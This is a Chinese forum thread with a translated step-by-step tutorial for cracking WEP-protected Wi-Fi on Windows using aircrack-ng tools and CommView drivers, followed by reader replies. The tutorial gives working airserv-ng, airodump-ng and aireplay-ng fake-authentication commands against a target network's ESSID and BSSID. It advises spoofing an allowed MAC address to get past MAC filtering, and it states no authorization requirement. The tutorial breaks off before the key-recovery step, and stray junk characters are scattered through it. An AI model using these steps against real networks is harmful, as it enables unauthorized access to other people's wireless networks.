使用airrack-ng和注射式攻击来破解WEP(翻译为中文）

fzulib

使用airrack和注射式攻击来破解WEPA首先你需要正确安装网卡驱动: 如果你的网卡不被commview支持的话,那么你需要安装wildpackets的驱动.
A1如果你的网卡被commview支持的话,那么点下面的地址下载驱动:
9 O3 Y, ]# I+ _- Q* G$ {, mhttp://www.tamos.com/bitrix/redirect.php?event1=download&event2=commwifi&event3=&goto=/files/ca5.zip
A2 如果不被commview支持的网卡则可以下载widpackets的驱动:
4 h! }5 M/ o5 qhttp://www.wildpackets.com/support/downloads/drivers
注意:下面的教程是在你正确安装commview的驱动的前提下进行的!
# C5 s8 G* a: h* O" IB 你需要下载这个.dll文件(只适用于commview 的网友):
' R9 w; A% m! ]$ h; h  xhttp://darkircop.org/commview.dll

C 你需要下载aircrack 压缩包: http://dl.aircrack-ng.org/aircrack-ng-svn-win.zip

+ ?" ?8 ?: `) F8 h1 m6 z9 @+ a1 P( {D 解压aircrack 压缩包到你的任意硬盘根目录,在这里我是解压到c盘

/ p* d+ c6 X. x' GE 把B下载到的commview.dll 放到D解压的文件夹,应该放到目录c:\aircrack\
* {- W' t; f+ X. L
F 去目录c:\program files\commview for wifi\(注意这个目录是安装完commview以后才会有,也就是A1你下载的文件),然后找到”ca2k.dll”文件,把”ca2k.dll”,拷贝到(c:\aircrack).

当你完成以上准备以后,就可以开始正式的破解了!
原文提供的连接无法下载

特提供以上文件的合成包供下载
- M4 ]& R/ H# ?: i* ~2 s密码:password

. m4 Z% P) `  ]2 u, M破解:
1:打开一个命令提示符 (开始 > 运行 > cmd.exe)
' y3 f5 @! g& W( _
- J# H( U( G. _0 p; z2:在命令提示符窗口下面输入:
" Z: m/ J7 G0 }) M. b& I       Cd c:\aircrack
  I" X" J- ]- [- e% @+ [9 Q-按下回车

3 在命令相同的提示符窗口下面输入:
; g4 p  E5 R- s# K- a, P& N       airserv-ng -d commview.dll
  F5 q  H9 Z+ `3 \9 y6 y-按下回车
你看到的回复应该跟下面一样:

) H0 M  D; ~2 Z) l/ ^3 y; {Opening card commview.dll
Setting chan 1
) Z# r, b: z$ F' `/ V/ U' @. D: dOpening sock port 666
  L* ]' I% k$ n4 T- lServing commview.dll chan 1 on port 666

如果你没有看到上面的结果的话,而是看到下面的结果的话:

: ]3 [/ k- m5 _注意这里可能会有两种情况出现!!!!!:

(1)
"Opening card commview.dll
Adapter not found
" _' n& A) S& k# \7 Dget_guid()
4 p) s& G' E! U" ^$ A) L8 B' xairserv-ng: wi_open(): No error"

这种情况那么你可以试试这个命令:
6 D+ G& W! `& b  v, w) ~2 G
airserv-ng -d "commview.dll|debug"
  \6 P/ v" Y' `; v( t
9 N! O2 a* v$ d然后你可能会看到下面的结果

+ f/ C9 `$ `' R3 p1 Y8 U. YOpening card commview.dll|debug
Name: [CommView] Proxim ORiNOCO 802.11b/g ComboCard Gold 8470
get_guid: name: {15A802FC-ACEE-4CCB-B12A-72CAA3EBDA82} desc: ORiNOCO 802.11bg Co
5 ]0 w' a3 L' w4 WmboCard Gold - Paketplaner-Miniport
Adapter not found
. T' v1 y0 y7 J9 E& v5 ]get_guid()
airserv-ng: wi_open(): No error

: F1 i; i7 q& q0 m, V" m; J2 `' N那么你只要输入下面的命令就可以了
8 s/ z& ^! x; o
) ^0 d+ o# G) D; }7 z9 |$ {airserv-ng -d "commview.dll|{15A802FC-ACEE-4CCB-B12A-72CAA3EBDA82}"
+ k7 s0 R( P0 I1 O+ ]7 ]
或者会自动搜寻网卡,然后提示你是不是这个网卡,然你远yes/no,那么你需要选择yes就可以了

+ F, ?  S- d$ n(2)
"Opening card commview.dll
F1
  Y1 y# _3 @% K4 C6 j$ ainit_lib()
: v: u/ X+ j4 C, }6 E5 E! \airserv-ng: wi_open(): No error"

8 c$ F7 B9 \) |+ \9 `( i  r2 |这种情况的话,那么你应该是由于安装了,windpackets 驱动而产生的问题,那么建议你安装commview 驱动,如果可能的话.
. l, m3 G1 q0 Y) c, u$ @
' S& N( u9 T( s- ]* z) A6 _& I4
, Z2 Q7 a7 L& t' N" F' Y-注意现在重新开一个新的命令提示符窗口(我叫它窗口2),不要关掉前面的那个(窗口1)!!!
$ Y8 M1 G) c- v8 c- F-在窗口2输入命令如下:
6 a9 l' Z. k- ~# [! u" ]4 l$ B" f       cd c:\aircrack\
按回车
) A6 Q2 e' E: b8 }
5
0 \1 q/ J" }. S1 A-在窗口2输入命令如下:
       airodump-ng 127.0.0.1:666
: V1 y. g9 B/ R8 s2 y  ]; r0 `回车

; R$ y2 l: w# N0 I9 p6 ~/ d提示: 如果你知道需要监视那个频道的话,那么你可以输入以下命令,我建议你这样做!!!:
1 U  e2 E' ]4 Z' D( B# `1 K
: \& d6 ^- \- pairodump-ng --channel 你的频道号 127.0.0.1:666
, o2 i' ]; u; O       比如说我需要监视的频道是6,那么命令如下

       airodump-ng --channel 6 127.0.0.1:666
$ Y  Q4 q) g  E1 v+ G' w, c% K5 y
/ |( @, B8 s; V6 x+ K2 b2 Q8 \( r5 _好了,现在airodump-ng 现在应该已经开始截取数据了,后面我们会使用注射式攻击来提高数据包的获取速度.
% Q, {; d2 {$ u* X; m2 U. ]4 E6
, i; H0 f; I& d4 a/ `5 u6 J现在重新开一个新的命令提示符窗口(窗口3),不要关掉前面的(窗口1)和(窗口2)!!!
-在窗口3输入命令如下:
       cd c:\aircrack\
按回车
7
2 ^9 L$ x, {% \/ l在窗口3输入后面的命令:
4 n; f$ X2 @) G3 |  naireplay-ng -1 0 -e 你想破解网络的ESSID -a 你想破解网络的BSSID -h 你用来监视的网络的网卡MAC 127.0.0.1:666
. R) \3 i, o& n9 U/ {实例:
ESSID = wifi16
BSSID = 11:22:33:44:55:66
MAC = 01:23:45:67:89:01
提示:
你想破解网络的ESSID = 破解网络的名字 (wifi16, mynetwork)
你想破解网络的BSSID = 破解网络的MAC  (11:22:33:44:55:66)
你用来监视的网络的网卡MAC = 这个就是你的网卡MAC咯
% _* U2 H+ [$ K) r4 D, u+ J) V那么命令行应该是:
aireplay-ng -1 0 -e wifi16 -a 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666
如果一切正常的话那么你会得到下面的回复:
# J, j3 a# J, I4 i- q% n: N; @Sending Authentication Request
Authentication successful
Sending Association Request
Association successful
- j" b2 D) y1 @0 r如果你得到:
AP rejects the source MAC address
这说明你破解的网络只允许特定的MAC 访问,那你你需要把你的MAC地址改成破解网络允许的地址.
如果你持续得到:
/ i, p/ {7 H0 Q' I( Z) f2 Nsending authentication request
那么说明你离破解网络太远了,信号太弱,你需要离破解网络跟进一点,以获得更好的信号.
1 }6 \, ~; L5 a5 h7 q
[ 本帖最后由 fzulib 于 2008-9-5 16:01 编辑 ]

test2008

好教程,谢谢分享。

jinjay311

为什么下载不下来呢??

lsdlhd02

秉着求学上进这的态度支持楼主!学习了!

BTANY

教程很好，可惜特提供以上文件的合成包供下载，这个下载不到了，晕

wqz

为什么我的打了airserv-ng -d commview.dll后提示airserv-ng -d不是内部或外部命令,也不是可运行的程序或批处理文件?

dragontiger

这帖子是从别处转来的？附件不能下载，该有的图也没有。
# \* ?; a: ?- I; Q6 q" U不过还算比较详细

553215788

为什么我的打了airserv-ng -d commview.dll后提示airserv-ng -d不是内部或外部命令,也不是可运行的程序或批处理文件?

kingyet

转过来的如果原作者不是本人要注明，是本人就无所谓，随便转过来都可以加分不好

aimin0459

我很菜，能否介绍傻瓜式操作

terryyy

好好好ddddd

sh网友

谢谢楼主的分享！！:)